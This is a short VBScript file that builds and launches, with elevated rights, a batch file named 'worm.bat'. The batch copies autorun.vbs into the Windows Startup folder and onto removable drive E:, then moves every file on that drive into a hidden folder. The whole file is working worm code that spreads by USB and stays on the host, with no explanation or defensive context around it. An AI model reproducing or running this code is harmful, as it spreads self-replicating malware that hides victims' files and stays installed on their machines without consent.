outFile="worm.bat"
Set objFSO=CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile(outFile,True)
objFile.Write "@echo off" & vbCrLf
objFile.Write "SET mypath=%~dp0" & vbCrLf
objFile.Write "copy %mypath%\autorun.vbs ""C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\autorun.vbs""" & vbCrLf

objFile.Write "copy %mypath%\autorun.vbs e:\autorun.vbs" & vbCrLf
objFile.Write "mkdir e:\hidden" & vbCrLf
objFile.Write "move e:\*.* e:\hidden" & vbCrLf
objFile.Write "move e:\hidden\autorun.vbs e:\" & vbCrLf

objFile.Close

CreateObject("Shell.Application").ShellExecute "worm.bat", "", "", "runas", 1